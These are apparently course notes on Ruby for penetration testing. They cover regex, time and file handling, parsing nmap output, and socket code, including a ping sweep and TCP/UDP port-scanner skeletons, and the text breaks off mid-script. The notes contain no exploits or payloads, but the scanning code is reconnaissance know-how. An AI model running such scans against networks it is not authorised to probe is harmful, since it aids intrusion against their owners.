  • From a defensive pov, regular expressions are also commonly used to verify and sanitize inputs. This may be used to avoid the input having bad character or invalid text.

Basic Concepts

  • A regular expression (regex or regexp) is usual delimited by forward slash in all languages: /regex body/
  • example:
  • The =~ is the Ruby basic pattern matching operator. It returns nil if the string does not contain the pattern; otherwise it returns the index where the first match begins
"Hello World" =~/World/
# Output: 6
"Hello World" =~/Torld/
# Output: nil

Regexp Object

  • regex are instances of the regex class; therefore they are regex objects

u can create a regex object with:

literal notation ( **/pattern/** )
**%r** notation
OO notation

Delimiters are custom:

/hello/ = literal notation
%r{hello} = {} delimiters
%r!hello! = ! delimiter

OO notation just use new or compile as synonym For regex.new:

Regexp.new("hello")
Regexp.compile("hello")

Regexp Modifier

  • u can add flags to specify additional information about the matching that has to be performed
  • i is used For case insensitive matching. when add after the last / it returns the index of the match
"Hello World" =~/hello/i
# Output: 0
"Hello World" =~/world/i
# Output: 6
  • with OO notation, u have to specify the attribute
reg = Regexp.new("hello",Regexp::IGNORECASE)
"Hello World" =~reg
# Output: 0
	
reg = Regexp.new("world",Regexp::IGNORECASE)
"Hello World" =~reg
# Output: 6

→ moreover = http://www.ruby-doc.org/core-1.9.3/Regexp.html

Match method

  • if u have a regexp object and u invoke match on a string, it gives u another object that describes the match (a MatchData object)
  • with a matchData object, u can get some information about the matching such as the position of the matched substring, the matched words and much more.
  • u can treat MatchData as an array - where at each position u can find the matching substring.

//no matching

matching = /world/.match("Hello World") # because its case sensitive
# Output: nil
matching = /world/i.match("Hello World") # with **i** flag, we disable the case sensitive and have a match
# Output: <MatchData "World">
matching[0]
# Output: "World"
matching[1]
# Output: nil
matching.begin(0)
# Output: 6

Special Characters

Characters w/ special meaning:

() [] {} . ? + | ^ $
  • To use them, u have to use a backslash ** in order to escape them.
"Hello World)" =~/\(/ 
# Output: 12
"Where are you from?" =~/\?/
# Output: 18

Regular Expression Syntax

Rule Matching
. A single character (it does not match newline)
[] At least one of the character in square brackets
[^] At least one of the character not in square brackets
\d A digit. Same as [0-9] (0-9 means from 0 to 9)
\D A non digit characters. Same as [^0-9]
\s A white space
\S A non whitespace
\w A word character, same as [A-Za-z0-9]
\W A non word character

Example:

"Hello World" =~/auh/ # does not contain auh
# Output: nil 
"Hello World" =~/[auh]/ # does not contain 'a' 'u' or 'h'
# Output: nil
"Hello World" =~/[auh]/i # contain 'H' at index 0
# Output: 0
"Hello World" =~/[0-9]/
# Output: nil
"Hello World" =~/[\d]/
# Output: nil
"I'm 50" =~/[\s]/ # whitespace at index 3
# Output: 3
"Hello World!" =~/[\W]/ # '!' at index 10 - its a non word
# Output: 10

Sequences

  • Is a concatenation of regular expression. The string must match the resulting concatenated pattern.
Rule Matching
xy Regular expression x followed by regular expression y

Example:

"abc 123 abc " =~/\d\d\d\s/ # 3 digit followed by a whitespace - matched at index 4
# Output: 4

Alternatives

(  |  pipe character ) are used to specify that the string must match at least one of the two or more regular expressions.
Rule Matching  
x y Either regular expression x or regular expression y

Example:

"Hello World" =~/\s|\./ # a whitespace or a point
# Output: 5
"Hello.World" =~/\s|\./ # a whitespace or a point
# Output: 5

Groups

  • The specials characters ( and ) are used to group a regular expression into a unique syntactic unit
Rule Matching
(exp) exp is grouped as a single unit

Example:

"I'm Ruby" =~/Rub(y|ber)/
# Output: 4
"I'm Rubber" =~/Rub(y|ber)/
# Output: 4
"I'm Ruber" =~/Rub(y|ber)/ # cause there is not ruber, only rubber
# Output: nil
  • Groups are often used to capture more than one pattern inside a string
  • With MatchData objects, we can get a description of these patterns: matched words, positions and much more.

Example:

reg = /(Ruby).(Perl)/
matching = reg.match("I like Ruby&Perl")

matching[0] # the entire matching
# Output: "Ruby&Perl" 
matching[1] # ruby word matching
# Output: "Ruby"
matching[2] # perl word matching
# Output: "Perl"
matching.begin(0) # the entire matching index
# Output: 7
matching.begin(1) # ruby word matching index
# Output: 7
matching.begin(2) # perl word matching index
# Output: 12

→ moreover = http://www.ruby-doc.org/core-1.9.3/MatchData.html

Repetitions

Rule Matching
exp* Zero or more occurrences of exp
exp+ One or more occurrences of exp
exp? Zero or one occurrence of exp
exp{n} n occurrences of exp (N is a natural number)
exp{n,} n or more occurrences of exp
exp{n,m} at least n and at most m occurrences of exp

Example:

"RubyRubyRuby" =~/(Ruby){3}
# Output: 0
"RubyRubyRuby" =~/(Ruby){4}
# Output: nil

Anchors

  • Are used to specify the position of the pattern matching.
Rule Matching
^exp exp must be at the begin of a line
exp$ exp must be at the end of a line
\Aexp exp must be at the begin of the whole string
exp\Z exp must be at the end of the whole string
exp\z same as \Z but match newline too

Examples:

"Hello World" =~/^Hello/
# Output: 0
"Hello World" =~/\AHello/
# Output: 0

A real world example

  • Let us suppose u have a string that contains an IP address and we want to identify its position as well as extract its parts separated by dots (octet of the address).

/(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/

ip_reg = /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/
my_ip = ip_reg.match("Some text... 192.168.1.1 other text ... ")
my_ip.to_a
# Output: ['192.168.1.1','192','168','1','1']

  • the last example does not identify only IP, what if the string contains 999.999.999.999?
  • There is a lot of standard and verified regular expressions that u can use according to your needs in the internet.

Regular expressoins in the Ruby platform

  • Global variables
  • Working with string

Global Variables

Variable Description
$~ The MatchData object of the last match
$& The substring that matches the first group pattern
$1 The substring that matches the second group pattern
$2, $3, etc And so on

Example:


"Hello World !!!" =~/^(hello)\s(world)\s(!!!)$/i
# Output: 0
$~
# Output: #matchdata "Hello World !!!"

$&
# Output: "Hello World !!!"
$1
# Output: "Hello"
$2
# Output: World
$3
# Output: "!!!"
$~.to_a
# Output: ["Hello World !!!", "Hello", "World", "!!!"]

  • The most important is $~ because all others are derived from it.

Working with strings

  • u can use regexp For all the methods seen in the Basic section: sub, gsub, split and more.
  • method scan
  • allows u to iterate through more occurrences of the text matching in the pattern

Example:

text = "abcas 192.168.1.2 textomtxo 192.168.4.20 more text"
pattern = /(?:\d{1,3}\.){3}(?:\d){1,3}/
text.scan(pattern) { |x| puts x }
  192.168.1.2
  192.168.4.20

(?:exp) = this syntax avoid capturing the subexpression inside ( ) so only the entire external expression is captured (the IP address)

Dates and Time

  • Time class
  • Other classes

Time class

  • Provides methods to work with your operating system date and time functionality. → http://www.ruby-doc.org/core-1.9.3/Time.html

Create a time instance

Current system time:

TIme.new

Current time converted in utc:

Time.new.utc

Time.local is a synonymous For Time.new:

Time.local(2014,5,6)
# Output: 2014-05-06 00:00:00 + 0200

Components of a time

t = TIme.local(2014,1,13,11,50)
# Output: 2014-01-13 11:50:00 +0100
t.year
# Output: 2014
t.month
# Output: 1
t.day
# Output: 13
t.hour
# Output: 11
t.yday
# Output: 13

Predicates and conversions

t = Time.now
# Output: 2014-01-13 11:36:30 +0100

t.tuesday?
# Output: false
t.monday?
# Output: true
t.utc?
# Output: false

Conversion between zone may be useful too:

t = Time.new.utc
# Output: 2014-01-13 10:42:47 UTC
t.zone
# Output: "UTC"
t.localtime
# Output: 2014-01-13 11:42:47 +0100
t.zone
# Output: "CET"

// timestamp
t.to_i
# Output: 1389610659

// an array
t.to_a
# Output: [39, 57, 11, 13, 1, 2014, 1, 13, false, "CET"]

Arithmetic

Simple operations with time (+ and -) in order to add seconds to your time object:

t = Time.now
# Output: 2014-01-13 12:21:40 +0100

t + 20 //add 20 seconds to t
t + 60*60 //add an hour to t
t + 6*(60*60*24) // add 6 days to t

gem install -r active_support

// this gem adds some useful methods when u work w time arithmetic

require 'active_support/core_ext/numeric/time'
 true

10.days
# Output: 864000
t = TIme.now
	...
t + 10.days # add 10 days
t + 1.week # add 1 week

if u do not want to install a gem, u can write your own version.

class Numeric
  def days; self*60*60*24;end
end

t = TIme.now # grab current time
t + 10.days # add 10 days

Comparisons

now = Time.now
before = now -50
after = now +50

now > before
# Output: true
after > before
# Output: false
before+50==now
# Output: true

From time to string

u can obtain a string with to_s or ctime method:

t.to_s
t.getutc.to_s
t.ctime
t.getutc.ctime
  • strftime method formats Time objects according to the directives in the given format string.

Directives begin with the % character:

%Y = year
%m = month
%d = day
etc

Example:

t.strftime("%Y/%m/%d")
  "2014/01/14"
t.strftime("%H:%M:%S")
  "10:33:22"

There is combinations directives:

%c = date and time
%D = date
%F = ISO 8601
%r = 12hour time
%R = 24hour time
%T = 24 hour time with seconds

→ moreover = http://www.ruby-doc.org/core-1.9.3/Time.html

Other Classes

  • Date = its used to manage date
  • DateTime = its subclass of Data and it allows to manage time too

both can be used like Time. But its slower

Files and Directories

  • Dir : For directories
  • File : For files

Dir

  • dir class defines class methods that allows u to work with directories. It provides a variety of ways to list directories as well as their content. It can also be used to know where the Ruby script is executed or to navigate between file system directories.

Current Directory

  • pwd and getwd class methods can be used to identify the current working directory.
Dir.pwd
# Output: "/root/ruby"
Dir.getwd
# Output: "/root/ruby"
  • The home method instead returns the home directory of the current user (or the home directory of the given user)
Dir.home
# Output: "/root"
Dir.home("root")
# Output: "/root"
Dir.home("mark")
# Output: "/home/mark"
  • The chdir method can be used to change the current directory
Dir.pwd
# Output: "/root/ruby"
Dir.chdir("dir_example")
Dir.pwd
# Output: "/root/ruby/dir_example"
  • with chdir u can also use .. (back to parent directory)
  • u can use with blocks of code (loops)
puts Dir.pwd
Dir.chdir("nested_dir") do
  puts Dir.pwd
end
puts Dir.pwd

Output:

/root/ruby/dir_example
/root/ruby/dir_example	/nested_dir
/root/ruby/dir_example

Creation / Deletion

  • mkdir method to create directories
Dir.mkdir("teste")
  • delete, rmdir,unlink to delete an existing directory
Dir.unlink "test"

Directory Listings

  • entries returns an array containing all files in the given directory
Dir.pwd
# Output: '/root/'
Dir.entries(".") # le dot means the current folder
# Output: ['chdir.rb', '.', '..', 'chdir-rb~', 'nested_dir', 'test']
  • with a iterator we can use foreach
Dir.foreach(".") do |file|
  puts file
end
  • glob method or [] allows to search files and directories in the file system, according to a specific pattern.

→ moreover = http://en.wikipedia.org/wiki/Glob_(programming)

Example to list all rb files in the directory:

Dir["*.rb"]
Dir.glob("*.rb")

→ moreover glob references - http://ruby-doc.org/core-1.9.3/Dir.html

Testing Directories

  • Exist? and exists? can be used to test if the specified path is a directory
Dir.exist? "/path"
Dir.exists? "/path"

Dir Objects

dir = Dir.new("dir_example")
dir.each {|x| puts x}
//it will list all files

Windows Application Directory Listing Example

  • check if an application is installed on a Windows machine and if its, it tries to list the content of the directory.

Usually Windows applications are installed in the following directories:


 C:\Program Files
 C:\Program Files (x86)
 C:\

directories = [
'C:\\Program Files\\',
'C:\\Program Files (x86)\\',
'C:\\'
]

installed = false
\for dir in directories do
dir = dir + ARGV[0]
if Dir.exist? dir then
  installed = true;
  puts %Q!"#{dir}" exists!
  puts "\nListing: "
  Dir.foreach(dir) { |x| puts x }
end
end

if !installed then
  puts ARGV[0] + " is not installed"
end

Files

  • This class allows programmers to work with files: open a file, get information about it, change its name, change its permission and much more. → http://ruby-doc.org/core-1.9.3/File.html

Check if a file exists:

File.exist? "empty_file.txt"
# Output: true

Get the file size in bytes:

File.size "teste.txt"
# Output: 2976

Returns the size in bytes or nil if the file is empty:

 File.size? "test.txt"
 # Output: nil

Returns true if the file is empty:

File.zero?
# Output: true

Check if the argument is a file, directory or a symbolic link:

File.file? "test.txt"
# Output: true
File.directory? "nested_dir"
# Output: true
File.symlink? "test_link"
# Output: true

U can check the type directly with ftype:

File.ftype "test.txt"
 # Output: "file"

Methods readable?, writable? and executable? can be used to test permissions:

File.readable? "test.txt"
# Output: true
File.writable? "test.txt"
# Output: true
File.executable? "test.txt"
# Output: false

mtime and atime returns respectively the last modification time and the last access time as a Time object:

at=File.atime "test.txt"
# Output: "2014-01-17 11:09:24 +0100"
at.getutc
mt = File.mtime "test.txt"
mt.getutc

ctime can be used on Windows to retrieve the creation time:

File.ctime "test.txt"

stat method returns a File::Stat object that encapsulates common status information about the file:

st = File.stat "test.txt"
st.size
# Output: "3185"
st.atime
# Output: "2014-01-17 11:32:14 +0100"

Working with Names

basename method can be used to extract the file name form a path. If u specify the suffix argument then the suffix itself is removed from the result:

File.basename path
# Output: "test.txt"
File.basename(path, ".txt")
# Output: "test"

dirname method can be used to extract only the directory part of a path string. This will cut the last part from the string (therefore it does not have the suffix arg):

File.dirname path
 # Output: "~/ruby/file_example"

extname method returns the extension of the file of the given path while split returns an array containing both dirname and basename:

File.extname path
 # Output: ".txt"
File.split path
# Output: ["~/ruby/file_example", "test.txt"]

join method allows us to create string paths. With FILE::SEPARATOR u can create both relative and absolute paths:

File.join("~","ruby","file_example")
File.join("","root","ruby","file_example")

expand_path method converts a relative path to an absolute path. It has two arguments, the second is optional and if its provided, its prepended as a directory to the first argument.

  • If the first agument contains a ~, then the current user home directory is used; otherwise the current working directory is used as the prepended directory.
File.expand_path("nested_dir")
# Output: "/root/ruby/file_example"
File.expand_path("~/Desktop")
# Output: "/root/Desktop"
File.expand_path("Documents","/root")
# Output: "/root/Documents"

fnmatch method tests if a filename string matches a specified pattern. The pattern is not a regular expression but its the usual glob syntax (first argument):

File.fnmatch("*.txt","test.txt")
# Output: true
File.fnmatch("*.rb","test.txt")
# Output: false
File.fnmatch("*.rb","example.rb")
# Output: true
File.fnmatch("/*/*.rb","/root/ex.rb")
# Output: true

Creation / Deletion / Renaming

open method with the write modifier w to create a file:

File.open("a_file.txt","w")

u can also use new to create

rename allows u to rename a file or a directory:

File.rename("a_file.txt","new_file.txt")

delete and unlink are used to delete a file:

File.delete "new_file.txt"

chmod to change the permissions of a file:

File.chmod(0666, "test.txt")

// the chown is used to change the owner and the group of a file

→ moreover files: http://ruby-doc.org/core-1.9.3/File.html

File Stream

Reading From a file

→ http://ruby-doc.org/core-1.9.3/IO.html

→ http://ruby-doc.org/core-1.9.3/File.html

If open is followed by a block, the file object is passed to the block and the stream is automatically closed at block termination:

File.open("multi_line.txt","r") do |file|
  contents = file.read
  puts contents
end

Output:

first line
second line
third line

read can be used without opening the file:

content = FIle.read("multi_line.txt")

// the same output

The method readline is similar to read but it can be used to obtain an array containing the line of the file:

File.readlines("multi_line.txt")

each can also be used to read a file line by line:

file = File.new("text.txt","r")
count =0
file.each do |line|
  puts "n:#{count} #{line}"
  count+=1
end

There are other methods to read only characters (readchar) and bytes (readbyte):

Writing to a file


- w = write only
- w+ = read and write
- a = append 
- a+ = append and read

File.open("text.txt","w") do |file|
  file.puts "First line \n"
  # or
  File.write "Second line"
end

Working with NMAP files

IP Extraction

nmap -PE -sn -n 

-PE = ICMP echo request
-sn = only PING Scan (disable port scan)
-n = Never do DNS resolution

NMAP Types of outputs:

-oN = normal output
-oX = xml format
-oG = greapable format
-oA = create 3 files with all the previous formats

We can grab the IP with regular expression :

/^(?:Nmap scan report For )((?:\d{1,3}\.){3}\d{1,3})/
  • (?:Nmap scan report For ) = identifies if the line starts with nmap scan report For
 ((?:\d{1,3}\.){3}\d{1,3}) = matches an IP address
  • (?: ) syntax avoids capturing the subexpression inside parentheses. They are groups and they are used to capture more than one pattern inside a string.
  • Therefore if we use (?: ), when we compare the entire pattern with a string, it does not capture the subexpression inside it.

example 1 : Grab IP from NMAP normal format

begin
  File.open(ARGV[0], "r") do |file|
    file.each do |line|
      /^(?:Nmap scan report For )((?:\d{1,3}\.){3}\d{1,3})/ =~ line
      puts $1 if $1
    end
  end
rescue StandardError => e
  puts "An error occurred: #{e}"
end


example 2 : Grab IP from NMAP Grepable format

begin
  File.open(ARGV[0], "r") do |file|
    file.each do |line|
      /^(?:Host:)\s((?:\d{1,3}\.){3}\d{1,3})/ =~ line
      puts $1 if $1
    end
  end
rescue StandardError => e
  puts "An error occurred: #{e}"
end

  • NMAP XML file
  • its not a good idea to use regexp, its better to parse the data
  • we want to extract the addr attribute of the address node

→ https://www.w3schools.com/xml/xquery_intro.asp

→ https://www.w3schools.com/xml/xpath_intro.asp

  • // if u want learn more about xml structures

  • Ruby provides different libraries and gems to handle XML. One of them is REXML module.

→ http://www.germane-software.com/software/rexml/

→ http://ruby-doc.org/stdlib-1.9.3/libdoc/rexml/rdoc/REXML.html

We have to reach the address node of each host node. In xpath, we can achieve this using different strategies:

/nmaprun/host/address[@addrtype='ipv4']
# means that we start from the root node (vertex), then go down in the host node and finally we go down in the address node which contains the addrtype attribute equals to ipv4

//host/address[@addrtype='ipv4']
# means that there is not a starting point, rather all of the times we find a host node, we have to go down in an address node and check the addrtype.

  • Since we will use REXML, one of the previous syntax must be inserted in one the method provided by REXML For data extraction.

example 3 - Grab the NMAP XML output:

require "rexml/document"
begin
  doc = REXML::Document.new File.new(ARGV[0])
  doc.elements.each("//host/address[@addrtype='ipv4']") do |addr|
    puts addr.attributes["addr"]
  end
rescue Exception => e
  puts e
end

All Together

  • add the shebang, it tells what interpreter that executes the scripts code.
which ruby = /usr/bin/ruby
set executions permitions with chmod +x <file.rb>

#!/usr/bin/ruby
# this method contains the main script logic
def main(opt,file)
  case opt
    when nil then usage
    when "-oN" then normal file
	when "-oG" then grepable file
	when "-oX" then xml file
	else detect opt
  end
end

  • if we want to execute the script from any directory, we need to add the directory of the script to the root user PATH environment variable
  • we have to change the PATH variable in the .bashrc file contained in the root user home dir

Add the line:

export PATH=/<path of the script>:$PATH
  • the normal - grepable - xml methods, contain the same code of the specific format scripts that we did earlier.
  • lets see the method detect

If no option is provided the script detects if a standard nmap output file is provided:


.nmap | .xml | .gnmap

def detect(file)
  extensions = [".nmap",".xml",".gnmap"]
  opt = ["-oN","-oX","-oG"]
  i = extensions.index(File.extname file)
  # if the file has a valid standard extension we retry
  # the main method with the correct option
  (main(opt[i].file);return) if i
  #otherwise an exception occurs
  raise Exception.new("Supported extensions: "+extensions.join(" | "))
end

Open Ports Extraction

We will see how to extract IP addresses and ports from the command:

nmap -sS -n
# -sS = TCP SYN request
# -n = never do DNS resolution

The arguments that the script should handle are the following:

pextr-n.rb ip [-closed | -filtered | -open] file

#!/usr/bin/ruby

begin
  # escape all the dots ( . ) -> ip is used in 
  # ip_pattern regular expression
  ip = ARGV[0].gsub(".","\\.")
  
  # check if the optional argment 'state' is provided
  options=["-open","-closed","-filtered"]
  # [1..-1] deletes the first minus character from ARGV[1]
  port_state=ARGV[1][1..-1] if options.include? ARGV[1]
  # if port_state is nil - > default state is 'open'
  port_state = "open" if !port_state
  # check if argument is the file
  file = ARGV[2] if ARGV[2] #if the optional state holds
  file = ARGV[1] if !file # if no optional state

  • first we have to find the section in the file that contains information of the IP provided
  • then we have to extract all the ports that have the desired state (open close filtered)

Ip and port_state created previously:

ip_pattern=/^Nmap scan report For #{ip}$/
up_host_pattern=/^Host is up (?:.)*\n/
port_pattern=/^(?:(\d+)\/\w+\s+#{port_state}\s+.+\n)/
  • now we can read one line at time
  • once we find the correct IP (ip_pattern matched), if the host is alive (up_host_pattern matched), we can extract every port that is open or closed or filtered, according to our need (port_pattern matched)

stream = File.new(file, "r") # Open the file stream

stream.each do |line| # For each line of the stream
  line.match(ip_pattern) do # If the IP is found and the IP host is up, extract each port
    stream.readline.match(up_host_pattern) do
      stream.readline # Reads a line of type not shown *closed ports*
      stream.readline # Reads a line of type: "PORT STATE SERVICE"

      stream.each do |line| # From here, each line stores the port
        line =~ port_pattern # Line matches the port sub-pattern
        puts $1 if $1 # Print the port
        break if line == "\n" # If all the lines have been parsed, exit from the block
      end
    end
  end
end

Example usage:

./pextr-n.rb <ip> -filtered <nmap file>
./pextr-n.rb <ip> <nmap file> # open ports only

Grepable format

  • the recurring pattern is:
  • port/status/protocol//service
  • we can do it with String scan method

Example:

up_host = /^Host:\s#{ip}\s\(\)\s+Status: Up/
port_pattern = /(?:\s(\d+)\/#{port_state}\/[^\/]+\/\/[^\/]+\/\/\/)/
#for each line of the stream
stream.each do |line|
  #if the ip is found
  line.match(up_host) do
	#reads the next line and extracts each port with scan method
	stream.readline.scan(port_pattern) {|port| puts port}
  end
end

The usage is the same as the last one:

./pextr-g.rb <ip> -filtered <nmap file>
./pextr-g.rb <ip> <nmap file> # open ports only

XML format

  • we are interested into the following path type:
host > ports > port > portid
- the following syntax allows us to go only into ports nodes that are opened and are related to the ip <ip>
- //host[address/@add='10.50.97.5']//port/state/@state='open']
- Remember that [] are For conditional statement and @ is used to indicate an attribute of a node
- the above string means that if we find an **host** node that has the address child node with the attribute **addr** equals to 10.50.97.5, then it should go into the **port** node that has a state node with the attribute **states** equals to open

parses the xml file to create a tree

doc = REXML::Document.new File.new(file)

XPath syntax to extract only the desired ports

pattern = "//host[address/@addr='#{ip}']//port[state/@state='#{port_state}']"

For each address node child of host node puts to stdout the addr attribute

doc.elements.each(pattern) do |port|
  puts port.attributes["portid"]
end

The usage is the same:

./pextr-x.rb <ip> -filtered <nmap file>
./pextr-x.rb <ip> <nmap file> # open ports only

All together


#!/usr/bin/ruby
# this method contains the main script logic
require "rexml/document"

begin
  
  (usage;exit) if !match_ip(ARGV[0])
  ip = ARGV[0]

  state,default = match_state(ARGV[1])
  type = default ? ARGV[1] : ARGV[2]
  file = default ? ARGV[2] : ARGV[3]
  f_type,file = match_file(type,file)

main(f_type,file,state,ip)

rescue SystemExit
rescue Exception => e
  puts e

end


def usage
st = <<END
pextr eLearnSecurity \u00A9 2014
It extracts (open|filtered|closed) ports
of a specified ip address from nmap results.
Usage: pextr ip [Port State] [File Type] file|stream

PORT STATE
 -open      opened ports (default)
 -filtered  filtered ports
 -closed    closed ports
        
FILE TYPE
 -oX when file is an xml nmap output
 -oN when file is a normal nmap output
 -oG when file is a grepable nmap output
        
 [File Type] is not required when file has 
 .nmap | .xml | .gnmap extension

EXAMPLES
 pextr 10.50.97.5 nmap.xml
 pextr 10.50.97.5 -filtered -oX nmap.xmlout
 pextr 10.50.97.5 -closed file.nmap
 nmap -sS -n 192.168.1.15 | pextr 192.168.1.15 -oN

END
  puts st
end

Network

The Network
	
  Socket Basics
		
  Penetration Testing Activities
		
  Raw Socket
	
  OS Interactions

The Network

We will see how to connect to a time server:

→ TCPSocket - http://ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/TCPSocket.html

→ UDPSocket - http://ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/UDPSocket.html

→ high level protocols = http://ruby-doc.org/stdlib-1.9.3/libdoc/net/

Sockets Basics

TCP Client

RFC868

→ http://tools.ietf.org/html/rfc868

  • TCPSocket is very simple, it requires a socket library.
  • Lets us connect to the TIME server ip:64.113.32.5 port:37

example 1:

require 'socket'
  true
s = TCPSocket.open("165.193.126.229",37)
res = s.gets
  "\xD6\x94\xA2\xC2"
int = res.unpack('N')
  [3600065218]
  # since the Unix timestamp starts from 1 jan 1970 GMT, we must subtract 2208988800
time = Time.at(int[0]-2208988800)
# Output: 2014-01-30 11:31:20 +0100
s.close

example 2:

time = TCPSocket.open("165.193.126.229",37) do |s|
  Time.at(s.gets.unpack('N')[0] - 2208988800)
end
# Output: 2014-01-30 11:31:20 +0100

# we can also do it in one line, just replace the do .. end with { }

example 3:

time = TCPSocket.open("165.193.126.229",37) { |s| Time.at(s.gets.unpack('N')[0] - 2208988800)}
  • The addr method can be used to obtain information about local part of the stream. It returns the local address as an array which contains address_family, port, hostname and numeric_address

s.addr in this case will return these informations

s.peeraddr - to obtain the same information about the remote part of the stream

s.peeraddr true = to specify that we want a reverse DNS lookup and find the hostname

  • to specify the port we need to use open with two parameters: source ip, port ip

For example:

s = TCPSocket.open("165.193.126.229",37,"10.0.2.15",6000)
s.addr
["AF_INET",6000,"10.0.2.15","10.0.2.15"]

UDP Client

Udp is stateless and connectionless protocol:

require 'socket'
s = UDPSocket.new
s.send("",0,"165.193.126.229",37)

resp = s.recv(4)
# Output: "binary data"
time = Time.at(resp.unpack('N')[0] - 2208988800)
# Output: "time "

  • udp can lose packets because it doest not have an ack. So our recv can wait the packets in freeze our application.
  • To avoit this situation we can use recv_nonblock that does not wait For the response.
  • if no response is received, it raises an exception; therefore u can rescue it and continue with the script execution.

The server

Create a TCPServer instance with new and provide the IP and port as arguments:

server = TCPServer.new ip,port

Cccept client requets:

loop do
  client = server.accept
end

Server logic code:

  • first, the server prints the information about the connected client; Then it sends the correct Time information according to the received type string
print Time.new.to_s + " - IP: "+client.peeraddr[3]
print " Port: "+client.peeraddr[1].tp_s+"\n"
case client.gets.chop
  when "timestamp" then client.puts(Time.now.to_i)
  when "utc" then client.puts(Time.now.utc)
  when "local" then client.puts(Time.now)
  else client.puts("Invalid operation")
end
  • to finish the code we add the def main(ip,port) at the beginning
  • and client.close at the end

This is not suitable to handle a large number of client connections at the same time. In this situation, usually a multi-thread server is used; one thread is given at each client connection and the server can handle multiple connections at the same time (this avoids long queues)

Multi-threading tcp server (skeleton) example:


# new TCP server bound to ip and port arguments
server = TCPServer.new ip,port
# loop indefinitely to accept clients requests
loop do
  # new request accepted - client is a socket
  # logic block is executed in a new thread
  Thread.start(server.accept) do |client|
	#.. server logic..
	# client variable is used to interact 
	# with the connected client
  end
end

The Client

def main(host, port, type)
  # open the connection with the time server
  # available on host and port arguments
  TCPSocket.open(host, port) do |s|
	#send to the server the type of time we want
	s.puts(type)
	# (timestamp|utc|local)
	# receives and puts to stdout the formatted time
	puts s.gets
  end
end

Run the server:

./time_Server.rb <ip> <port>

Run the client:

./time_client.rb <ip> <port> timestamp
# Output: 1391425207

The server will get information of the client request

Ping Sweep

  • using ICMP echo requests
  • if the destination host is alive (and the ping is not filtered by a firewall), it will respond with a ICMP echo reply
  • there are a lot of gems that w can use
  • net-ping: a collection of classes that provide different ways to ping computers

To install a gem: gem install net-ping -r

Example:

require 'net/ping'
host = ARGV[0]
req = Net::Ping::ICMP.new(host)

if req.ping then puts host + " UP"
else puts host + " DOWN" end

if the timeout is not provided we use 1 second by default. Then we scan each host of the network, sending an ICMP request andprint the current IP

require 'net/ping'

def main(network, timeout)
  timeout = timeout ? timeout.to_f : 1

  (1..254).each do |i|
    ip_address = network + i.to_s
    req = Net::Ping::ICMP.new(ip_address, nil, timeout)

    puts ip_address if req.ping
  end
end

begin
  unless ARGV.length == 2
    puts "Usage: ruby script_name.rb network timeout"
  else
    main(ARGV[0], ARGV[1])
  end
end


  • the network must be “xxx.xxx.xxx.”
  • eg: “192.168.1.”
Time ruby ping_sweep.rb <ip> 0.15 // 0.15 seconds For each IP
# 10.0.2.2
# 10.0.2.3
# 10.0.2.4
# etc

TCP Connect - Port Scanning

  • a port scan can be performed after the identification of an alive host or it can be used to verify if an host is alive.

There is different types of port scanning:

TCP full connection
TCP SYN
TCP ACK
UDP

The strategy to perform the scan:

with TCPSocket, we try to connec to an host port
if the connection is successful (TCP three way handshake), then the port is clearly open
if the connection is refused, then the port is closed or firewalled (the host or the firewall respond with RST+ACK)
otherwise, if we do not receive a response, there is probably a firewall that filters the port with no response at all.
  • Imagine a service filtered based on source IP addresses. If u r not in the source IP whitelist, u will receive an RST+ACK but the port is actually open as well as the service.

The skeleton of the script

For each port between start_port and end_port, we the connection and we identify if its filtered or open:


require 'socket'

def main(host, start_port, end_port)
  open = []
  filtered = []

  start_port.upto(end_port) do |port|
    begin
      # Replace the comment below with your actual TCP socket connection logic
      socket = TCPSocket.new(host, port)
      socket.close
      open << port
    rescue StandardError
      filtered << port
    end
  end

  puts "OPEN" unless open.empty?
  puts open.join(', ') unless open.empty?
  puts "FILTERED" unless filtered.empty?
  puts filtered.join(', ') unless filtered.empty?
end

# Example usage:
# main("example.com", 80, 100)


The TCP SOCKET CONNECTION skeleton:

begin
  TCPSocket.open(host,port)
  open.push port
rescue Errno::ETIMEDOUT
  filtered.push port
rescue Errno::ECONNREFUSED
end

if no exception occurs, then the port is open and we push it into the open array. If a timeout error is raised, the port is certainly filtered and we push it into the filtered array

Usage:

ruby tcp_cps.rb <ip u want to scan> 1-600 # port range
- the nmap equivalent to this is **-sT**
- nmap -sT -n <ip> -p <range>
- nmap uses faster strategies. one of them is working with more than one thread.
- our script is slow, a solution to this problem would be implementing multi-threading

UDP Port scan

  • Some import services such as DNS, SNMP and DHCP use UDP
  • udp is often ignored because its stateless and sometimes identifying if an UDP port is open or closed may take a lot of time.

  • For this reason, during our security audits we should run a UDP port scan, only to well-known ports and services, and only if its strictly necessary (do not scan big ranges of ports)
  • Nmap documentation reports that a full and reliable UDP port scanning (65535 ports) can take more than 18 hours in some systems.

Strategy to identify UDP open ports:

first of all, we send an UDP packet to a port;
if we receive an ICMP error (destination unreachable or others) then we can conclude that the port is closed or firewalled;
if we receive an UDP response then the port is open and the service is available.
  • UDP is stateless, therefore if we do not receive a response, there is a chance that a packet (request or response) has been lost.
  • there is also the likelihood that a firewall which avoids sending a ICMP packet as a response. Therefore when we use UDP, we should try to send the request packet more than once.
  • platforms like Linux usually avoid sending too many packets of the same type (ICMP is one of them) in order to avoid network congestions. Linux sends an ICMP packet once per second; therefore our script must take this behavior into account.

This is the skeleton of the script. We accept an array of ports to test. For each port, we have to send some UDP packets and catch any response:


require 'socket'

def main(host, ports)
  open = []
  filtered = []
  closed = []

  # ports is an array of port
  ports.each do |port|
    begin
      # Replace the comment below with your actual UDP packet sending logic
      socket = UDPSocket.new
      socket.connect(host, port)
      socket.send("Your UDP packet payload", 0)
      open << port
    rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
      filtered << port
    rescue StandardError
      closed << port
    ensure
      socket&.close
    end
  end

  puts "OPEN" unless open.empty?
  puts open.join(', ') unless open.empty?
  puts "FILTERED|OPEN" unless filtered.empty?
  puts filtered.join(', ') unless filtered.empty?
  puts "CLOSED" unless closed.empty?
  puts closed.join(', ') unless closed.empty?
end

# Example usage:
# main("example.com", [80, 443, 8080])


  • For each targert port, the first thing to do is to create an UDPSocket which will be bound to the destination host and port.

Then we want to send 5 UDP packets using a proper timing strategy:

ports.each do |port|
  u = UDPSocket.new
  u.connect(host,port)
  (1..5).each do |i|
